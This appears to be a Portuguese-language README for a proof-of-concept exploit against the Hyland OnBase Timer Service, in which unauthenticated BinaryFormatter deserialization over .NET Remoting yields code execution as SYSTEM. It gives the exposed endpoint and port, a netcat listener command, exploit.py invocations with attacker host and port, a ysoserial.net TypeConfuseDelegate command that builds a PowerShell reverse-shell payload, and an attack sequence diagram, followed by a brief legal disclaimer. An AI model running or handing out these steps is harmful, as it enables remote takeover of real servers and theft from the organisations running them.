
Prova de conceito de exploit para execução remota de código não autenticada no Hyland OnBase Timer Service por meio de desserialização BinaryFormatter do .NET Remoting, alcançando privilégios de SYSTEM.
Jordânia 🇯🇴
Este repositório contém um exploit de Prova‑de‑Conceito para a vulnerabilidade de execução remota de código não autenticada no Hyland OnBase Timer Service via desserialização insegura de .NET Remoting BinaryFormatter.
A vulnerabilidade permite que um atacante não autenticado envie um payload BinaryFormatter malicioso para o endpoint do Timer Service e execute código arbitrário como NT AUTHORITY\SYSTEM.
O Timer Service expõe um endpoint .NET Remoting:
http://TARGET:8900/TimerServiceAPI.rem
O serviço aceita objetos BinaryFormatter não autenticados. Ao fornecer uma cadeia de gadgets maliciosa (ysoserial.net), a execução arbitrária de comandos ocorre durante a desserialização.
Instale a dependência Python:
pip install requests
Baixe o ysoserial.net:
git clone https://github.com/pwntester/ysoserial.net
nc -lvnp 4444
python3 exploit.py 192.168.10.50 --lhost 192.168.1.100 --lport 4444
O script imprime um comando ysoserial. Execute-o em outro terminal (Windows / Mono):
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "powershell ..." -o raw > rev_shell.bin
Pressione ENTER no terminal do exploit após a geração do payload.
Se vulnerável → a reverse shell conecta.
python3 exploit.py 10.10.10.123 --lhost 192.168.5.77 --lport 9001
| Opção | Descrição |
|---|---|
| target | IP ou hostname do alvo |
| --port | Porta do Timer Service (padrão 8900) |
| --endpoint | TimerServiceAPI.rem / TimerServiceEvents.rem |
| --lhost | IP do atacante |
| --lport | Porta do listener |
| --gadget | Cadeia de gadgets ysoserial |
O exploit é cego
Sucesso = callback de reverse shell
O serviço executa como SYSTEM
Tente gadget alternativo se bloqueado:
sequenceDiagram
participant A as Atacante
participant Y as ysoserial.net
participant T as Alvo OnBase Timer Service
participant S as Shell SYSTEM
A->>A: Iniciar listener netcat
A->>Y: Gerar payload BinaryFormatter
Y-->>A: rev_shell.bin
A->>T: HTTP POST /TimerServiceAPI.rem
T->>T: BinaryFormatter.Deserialize()
T->>S: Executar cadeia de gadgets
S-->>A: Conexão reverse shell
Este exploit é fornecido para:
O uso não autorizado contra sistemas que você não possui ou não tem permissão para testar é ilegal.